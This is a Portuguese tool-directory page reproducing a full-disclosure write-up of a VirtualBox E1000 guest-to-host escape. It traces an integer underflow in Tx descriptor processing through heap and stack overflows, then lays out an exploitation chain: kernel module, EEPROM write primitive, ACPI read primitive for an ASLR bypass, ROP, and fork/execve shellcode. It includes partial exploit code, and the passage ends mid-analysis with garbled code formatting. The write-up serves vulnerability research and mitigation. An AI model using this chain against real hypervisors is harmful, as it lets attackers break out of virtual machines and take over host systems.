Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
virtualbox_e1000_0day — Escape de Convidado para Anfitrião no VirtualBox E1000 | Kitploit
Ferramentas/GitHubGitHub/mortenoir1/virtualbox_e1000_0day
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoSegurança de HardwareExploração de Binários
GitHubmortenoir1/virtualbox_e1000_0day

virtualbox_e1000_0day

Escape de Convidado para Anfitrião no VirtualBox E1000

Ver Repositório
1.4k196há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Porquê

Gosto do VirtualBox e isso não tem nada a ver com o motivo pelo qual publico uma vulnerabilidade 0day. A razão é o meu desacordo com o estado contemporâneo da segurança da informação, especialmente da pesquisa de segurança e bug bounty:

  1. Esperar meio ano até que uma vulnerabilidade seja corrigida é considerado aceitável.
  2. No campo de bug bounty, isto é considerado aceitável:
    1. Esperar mais de um mês até que uma vulnerabilidade submetida seja verificada e uma decisão de comprar ou não seja tomada.
    2. Mudar a decisão em tempo real. Hoje descobre-se que o programa de bug bounty comprará bugs num software, uma semana depois chega-se com bugs e exploits e recebe-se "não interessado".
    3. Não ter uma lista precisa dos softwares em que o bug bounty tem interesse em comprar bugs. Conveniente para os bug bounties, inconveniente para os investigadores.
    4. Não ter limites inferior e superior precisos dos preços das vulnerabilidades. Há muitas coisas que influenciam um preço, mas os investigadores precisam de saber o que vale a pena trabalhar e o que não vale.
  3. Ilusões de grandeza e tretas de marketing: nomear vulnerabilidades e criar websites para elas; fazer milhares de conferências por ano; exagerar a importância do próprio trabalho como investigador de segurança; considerar-se "um salvador do mundo". Desça do pedestal, Vossa Alteza.

Estou exausto dos dois primeiros, portanto a minha jogada é divulgação total. SegInfo, por favor, avance.

Informações Gerais

Software vulnerável: VirtualBox 5.2.20 e versões anteriores.

SO anfitrião: qualquer, o bug está numa base de código partilhada.

SO convidado: qualquer.

Configuração da VM: padrão (o único requisito é que a placa de rede seja Intel PRO/1000 MT Desktop (82540EM) e o modo seja NAT).

Como se proteger

Até que a versão corrigida do VirtualBox seja lançada, pode alterar a placa de rede das suas máquinas virtuais para PCnet (uma das duas) ou para Rede Paravirtualizada. Se não puder, altere o modo de NAT para outro. A primeira forma é mais segura.

Introdução

O dispositivo de rede virtual padrão do VirtualBox é Intel PRO/1000 MT Desktop (82540EM) e o modo de rede padrão é NAT. Referir-nos-emos a ele como E1000.

O E1000 tem uma vulnerabilidade que permite a um atacante com privilégios de root/administrador num convidado escapar para o ring3 do anfitrião. Depois, o atacante pode usar técnicas existentes para escalar privilégios para ring 0 via /dev/vboxdrv.

Detalhes da Vulnerabilidade

E1000 101

Para enviar pacotes de rede, um convidado faz o que um PC comum faz: configura uma placa de rede e fornece pacotes de rede para ela. Os pacotes são frames da camada de enlace de dados e outros cabeçalhos de nível superior. Os pacotes fornecidos ao adaptador são envolvidos em descritores Tx (Tx significa transmissão). O descritor Tx é uma estrutura de dados descrita na folha de dados do 82540EM (317453006EN.PDF, Revisão 4.0). Ele armazena meta-informações como tamanho do pacote, tag VLAN, flags de segmentação TCP/IP ativadas, etc.

A folha de dados do 82540EM prevê três tipos de descritores Tx: legacy, contexto, dados. Legacy está obsoleto, acredito. Os outros dois são usados juntos. A única coisa com que nos importamos é que os descritores de contexto definem o tamanho máximo do pacote e ativam a segmentação TCP/IP, e que os descritores de dados contêm endereços físicos dos pacotes de rede e seus tamanhos. O tamanho do pacote do descritor de dados deve ser menor que o tamanho máximo do pacote do descritor de contexto. Normalmente, os descritores de contexto são fornecidos à placa de rede antes dos descritores de dados.

Para fornecer descritores Tx à placa de rede, um convidado escreve-os no Tx Ring. Este é um buffer circular residente na memória física num endereço predefinido. Quando todos os descritores são escritos no Tx Ring, o convidado atualiza o registo MMIO TDT (Transmit Descriptor Tail) do E1000 para informar o anfitrião de que existem novos descritores para processar.

Input

Considere o seguinte array de descritores Tx:``` [context_1, data_2, data_3, context_4, data_5]

root@kitploit:~
Vamos atribuir os campos da sua estrutura da seguinte forma (os nomes dos campos são hipotéticos para serem legíveis por humanos, mas mapeiam diretamente para a especificação 82540EM):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

Aprenderemos por que eles devem ser assim em nossa análise passo a passo.

Análise de Causa Raiz

[context_1, data_2, data_3] Processamento

Vamos assumir que os descritores acima são escritos no Tx Ring na ordem especificada e o registrador TDT é atualizado pelo guest. Agora o host executará a função e1kXmitPending no arquivo src/VBox/Devices/Network/DevE1000.cpp (a maioria dos comentários são e serão removidos por questão de legibilidade):```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
e1kTxDLazyLoad lerá todos os 5 descritores Tx do Tx Ring. Então e1kLocateTxPacket é chamado pela primeira vez. Esta função itera por todos os descritores para configurar um estado inicial, mas não os processa de fato. No nosso caso, a primeira chamada a e1kLocateTxPacket manipulará os descritores context_1, data_2 e data_3. Os dois descritores restantes, context_4 e data_5, serão manipulados na segunda iteração do loop while (abordaremos a segunda iteração na próxima seção). Essa divisão do array em duas partes é crucial para desencadear a vulnerabilidade, então vamos descobrir por quê.

e1kLocateTxPacket tem a seguinte aparência:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

O primeiro descritor (context_1) é do tipo E1K_DTYP_CONTEXT, então a função e1kUpdateTxContext é chamada. Esta função atualiza um Contexto de Segmentação TCP se a Segmentação TCP estiver habilitada para o descritor. Isso é verdade para context_1, então o Contexto de Segmentação TCP será atualizado. (O que realmente é a Atualização do Contexto de Segmentação TCP não é importante, e usaremos isso apenas para nos referir ao código abaixo).

O segundo descritor (data_2) é do tipo E1K_DTYP_DATA, então várias ações desnecessárias para a discussão serão realizadas.

O terceiro descritor (data_3) também é do tipo E1K_DTYP_DATA, mas como data_3.data_length == 0, nenhuma ação é realizada.

Atualmente, os três descritores são processados inicialmente e os dois restam. Agora o ponto: após a instrução switch, há uma verificação se o campo end_of_packet de um descritor foi definido. Isso é verdadeiro para o descritor data_3 (data_3.end_of_packet == true). O código realiza algumas ações e retorna da função:```c if (pDesc->legacy.cmd.fEOP) { ... return true; }

root@kitploit:~
Se data_3.end_of_packet tivesse sido falso, então os descritores restantes context_4 e data_5 seriam processados, e a vulnerabilidade teria sido contornada. Abaixo você verá por que esse retorno da função leva ao bug.

No final da função e1kLocateTxPacket temos os seguintes descritores prontos para desembrulhar pacotes de rede e enviar para uma rede: context_1, data_2, data_3. Então o loop interno de e1kXmitPending chama e1kXmitPacket. Esta função itera por todos os descritores (5 no nosso caso) para realmente processá-los:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

Para cada descritor, a função e1kXmitDesc é chamada:```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...

root@kitploit:~
O primeiro descritor passado para e1kXmitDesc é context_1. A função não faz nada com descritores de contexto.

O segundo descritor passado para e1kXmitDesc é data\_2. Como todos os nossos descritores de dados têm tcp\_segmentation\_enable == true (pDesc->data.cmd.fTSE acima), chamamos e1kFallbackAddToFrame onde haverá um underflow de inteiro enquanto data\_5 é processado.```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

As variáveis mais importantes aqui são u16MaxPktLen, pThis->u16TxPktLen e pDesc->data.cmd.u20DTALEN.

Vamos desenhar uma tabela onde os valores dessas variáveis são especificados antes e depois da execução da função e1kFallbackAddToFrame para os dois descritores de dados.

Você só precisa notar que quando data_3 é processado, pThis->u16TxPktLen é igual a 0x10.

Em seguida vem a parte mais importante. Por favor, olhe novamente para o final do trecho de e1kXmitPacket:```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;

root@kitploit:~
Como data_3 tipo != E1K_DTYP_CONTEXT e data_3.end_of_packet == true, saímos do loop apesar do fato de que existem context_4 e data_5 a serem processados. Por que isso é importante? A chave para entender a vulnerabilidade é entender que todos os descritores de contexto são processados antes dos descritores de dados. Os descritores de contexto são processados durante a Atualização de Contexto de Segmentação TCP em e1kLocateTxPacket. Os descritores de dados são processados posteriormente no loop dentro da função e1kXmitPacket. A intenção do desenvolvedor era proibir a alteração de u16MaxPktLen após alguns dados terem sido processados para evitar underflows de inteiros no código:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

Mas somos capazes de contornar essa proteção: lembre-se de que em e1kLocateTxPacket forçamos a função a retornar devido a data_3.end_of_packet == true. E por causa disso, temos dois descritores (context_4 e data_5) restantes para serem processados apesar do fato de que pThis->u16TxPktLen é 0x10, não 0. Portanto, existe a possibilidade de alterar u16MaxPktLen usando context_4.maximum_segment_size para causar o underflow de inteiro.

[context_4, data_5] Processing

Agora, quando os três primeiros descritores foram processados, chegamos novamente ao loop interno de e1kXmitPending:```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
Aqui chamamos e1kLocateTxPacket para realizar o processamento inicial dos descritores context_4 e data_5. Foi dito que podemos definir context_4.maximum_segment_size para um tamanho menor que o tamanho dos dados já lidos, ou seja, menor que 0x10. Recorde os nossos descritores Tx de entrada:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

Como resultado da chamada para e1kLocateTxPacket temos o tamanho máximo do segmento igual a 0xF, enquanto o tamanho dos dados já lidos é 0x10.

Finalmente, ao processar data_5, chegamos novamente a e1kFallbackAddToFrame e temos os seguintes valores de variáveis:

Tx DescriptorBefore/Afteru16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN

E, portanto, temos um underflow de inteiro:```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

root@kitploit:~
Isso faz com que a seguinte verificação seja verdadeira, uma vez que 0xFFFFFFFF > 0x4188:```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

e1kFallbackAddSegment function will be called with size 0x4188. Without the vulnerability it's impossible to call e1kFallbackAddSegment with a size greater than 0x3FA0 (E1K_MAX_TX_PKT_SIZE == 0x3FA0) because, during the TCP Segmentation Context Update in e1kUpdateTxContext, there is a check that the maximum segment size is less or equal to 0x3FA0:```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }

root@kitploit:~
### Estouro de Buffer
Chamamos e1kFallbackAddSegment com tamanho 0x4188. Como isso pode ser abusado? Há pelo menos duas possibilidades que encontrei. Primeiramente, dados serão lidos do guest para um buffer no heap:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

Aqui pThis->aTxPacketFallback é o buffer de tamanho 0x3FA0 e u16Len é 0x4188 — um overflow óbvio que pode levar, por exemplo, à sobrescrita de ponteiros de função.

Em segundo lugar, se aprofundarmos, descobrimos que e1kFallbackAddSegment chama e1kTransmitFrame que, com uma certa configuração dos registradores E1000, pode chamar a função e1kHandleRxPacket. Esta função aloca um buffer na pilha de tamanho 0x4000 e então copia dados de um comprimento especificado (0x4188 no nosso caso) para o buffer sem qualquer verificação:```c static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status) { #if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);

root@kitploit:~
Como pode ver, transformamos um underflow de inteiro em um clássico stack buffer overflow. Os dois overflows acima — heap e stack — são usados no exploit.

## Exploit
O exploit é um módulo do kernel Linux (LKM) para carregar em um SO convidado. O caso Windows exigiria um driver diferente do LKM apenas por um wrapper de inicialização e chamadas de API do kernel.

Privilégios elevados são necessários para carregar um driver em ambos os SOs. É comum e não é considerado um obstáculo intransponível. Veja o concurso Pwn2Own, onde pesquisadores usam cadeias de exploits: um navegador que abriu um site malicioso no SO convidado é explorado, uma fuga da sandbox do navegador é feita para obter acesso total ao ring 3, uma vulnerabilidade do sistema operacional é explorada para abrir caminho ao ring 0, de onde se tem tudo o que é necessário para atacar um hypervisor a partir do SO convidado.
As vulnerabilidades de hypervisor mais poderosas são certamente aquelas que podem ser exploradas a partir do ring 3 convidado. No VirtualBox também existe código que é acessível sem privilégios de root no convidado, e ele ainda não foi auditado em sua maior parte.

O exploit é 100% confiável. Isso significa que ele sempre funciona ou nunca, devido a binários incompatíveis ou outras razões mais sutis que não considerei. Ele funciona pelo menos em convidados Ubuntu 16.04 e 18.04 x86_64 com configuração padrão.

### Exploitation Algorithm
1) Um invasor descarrega o e1000.ko carregado por padrão em convidados Linux e carrega o LKM do exploit.
2) O LKM inicializa o E1000 de acordo com a folha de dados. Apenas a metade de transmissão é inicializada, já que não há necessidade da metade de recepção.
3) Passo 1: vazamento de informação.
    1) O LKM desativa o modo loopback do E1000 para tornar o código do stack buffer overflow inacessível.
    2) O LKM usa a vulnerabilidade de underflow de inteiro para causar o heap buffer overflow.
    3) O heap buffer overflow permite usar a EEPROM do E1000 para escrever dois bytes quaisquer relativos a um buffer de heap em um intervalo de 128 KB. Assim, o invasor obtém uma primitiva de escrita.
    4) O LKM usa a primitiva de escrita 8 vezes para escrever bytes na estrutura de dados ACPI (Advanced Configuration and Power Interface) no heap. Bytes são escritos em uma variável de índice de um buffer de heap do qual um único byte será lido. Como o tamanho do buffer é menor que o número máximo de índice (255), o invasor pode ler além do buffer, obtendo assim uma primitiva de leitura.
    5) O LKM usa a primitiva de leitura 8 vezes para acessar a ACPI e obter 8 bytes do heap. Esses bytes são um ponteiro da biblioteca compartilhada VBoxDD.so.
    6) O LKM subtrai o RVA do ponteiro para obter a base de imagem do VBoxDD.so.
4) Passo 2: stack buffer overflow.
    1) O LKM ativa o modo loopback do E1000 para tornar o código do stack buffer overflow acessível.
    2) O LKM usa a vulnerabilidade de underflow de inteiro para causar o heap buffer overflow e o stack buffer overflow. O endereço de retorno salvo (RIP/EIP) é sobrescrito. O invasor ganha controle.
    3) Uma cadeia ROP é executada para executar um carregador de shellcode.
5) Passo 3: shellcode.
    1) O carregador de shellcode copia um shellcode da pilha para próximo de si mesmo. O shellcode é executado.
    2) O shellcode faz chamadas de sistema fork e execve para gerar um processo arbitrário no lado do host.
    3) O processo pai faz a continuação do processo.
6) O invasor descarrega o LKM e carrega o e1000.ko novamente para permitir que o convidado use a rede.

### Initialization
O LKM mapeia a memória física em relação ao MMIO do E1000. O endereço físico e o tamanho são predefinidos pelo hypervisor.```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

Então os registradores de propósito geral E1000 são configurados, a memória do Tx Ring é alocada, os registradores de transmissão são configurados.```c void e1000_init(void* mmio) { // Configure general purpose registers

root@kitploit:~
configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

}

root@kitploit:~
### Contorno de ASLR
#### Primitiva de escrita
Desde o início do desenvolvimento do exploit, decidi não usar primitivas encontradas em serviços desabilitados por padrão. Isso significa, em primeiro lugar, o serviço Chromium (não um navegador) que fornece aceleração 3D, onde mais de 40 vulnerabilidades foram encontradas por pesquisadores no último ano.

O problema era encontrar uma fuga de informação nos subsistemas padrão do VirtualBox. O pensamento óbvio era que, se o underflow de inteiro permite estourar o buffer da heap, então controlamos qualquer coisa além do buffer. Veremos que nenhuma vulnerabilidade adicional foi necessária: o underflow de inteiro mostrou-se bastante poderoso para derivar primitivas de leitura, escrita e fuga de informação a partir dele, sem mencionar o estouro de buffer da pilha.

Vamos examinar o que exatamente é estourado na heap.```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

Aqui aTxPacketFallback é um buffer de tamanho 0x3FA0 que será estourado com bytes copiados de um descritor de dados. Procurando por campos interessantes após o buffer, cheguei à estrutura E1kEEPROM que contém outra estrutura com os seguintes campos (src/VBox/Devices/Network/DevE1000.cpp):```c /**

  • 93C46-compatible EEPROM device emulation. */ struct EEPROM93C46 { ... bool m_fWriteEnabled; uint8_t Alignment1; uint16_t m_u16Word; uint16_t m_u16Mask; uint16_t m_u16Addr; uint32_t m_u32InternalWires; ... }
root@kitploit:~
Como podemos abusar deles? E1000 implementa EEPROM, memória secundária do adaptador. O sistema operacional convidado pode acessá-lo através dos registradores MMIO do E1000. EEPROM é implementado como um autômato finito com vários estados e realiza quatro ações. Estamos interessados apenas em 'write to memory'. É assim que se parece (src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

Aqui m_u16Addr, m_u16Word e m_fWriteEnabled são campos da estrutura EEPROM93C46 que controlamos. Podemos malformá-los de uma forma que```c m_au16Data[u32Addr] = u16Value;

root@kitploit:~
instrução escreverá dois bytes em deslocamento arbitrário de 16 bits a partir de m_au16Data que também reside na estrutura. Encontramos uma primitiva de escrita.

#### Primitiva de leitura
O próximo problema era encontrar estruturas de dados no heap para escrever dados arbitrários, com o objetivo principal de vazar um ponteiro de biblioteca compartilhada para obter sua base de imagem. Felizmente, não foi necessário fazer um heap spray instável porque as principais estruturas de dados dos dispositivos virtuais pareciam ser alocadas de um heap interno do hypervisor de forma que a distância entre elas é sempre constante, apesar de seus endereços virtuais, é claro, serem randomizados pelo ASLR.

Quando uma máquina virtual é iniciada, o subsistema PDM (Pluggable Device and Driver Manager) aloca objetos PDMDEVINS no heap do hypervisor.```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

Eu rastreei esse código no GDB usando um script e obtive estes resultados:``` [trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 [trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

root@kitploit:~
Observe o dispositivo E1000 na posição #0xE. Na segunda lista, pode-se ver que o próximo dispositivo está a um offset de 0x5700 do E1000, o seguinte a 0x19E0 e assim por diante. Já dissemos que essas distâncias são sempre as mesmas, e é nossa oportunidade de exploração.

Os dispositivos seguintes ao E1000 são ICH IC'97, OHCI, ACPI, VirtualBox GIM. Ao aprender suas estruturas de dados, descobri a maneira de usar a primitiva de escrita.

Na inicialização da máquina virtual, o dispositivo ACPI é criado (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

Um manipulador de entrada/saída da porta ACPI está registrado para o intervalo 0x4100-0x410F. No caso da porta 0x4107, temos:```c PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...

root@kitploit:~
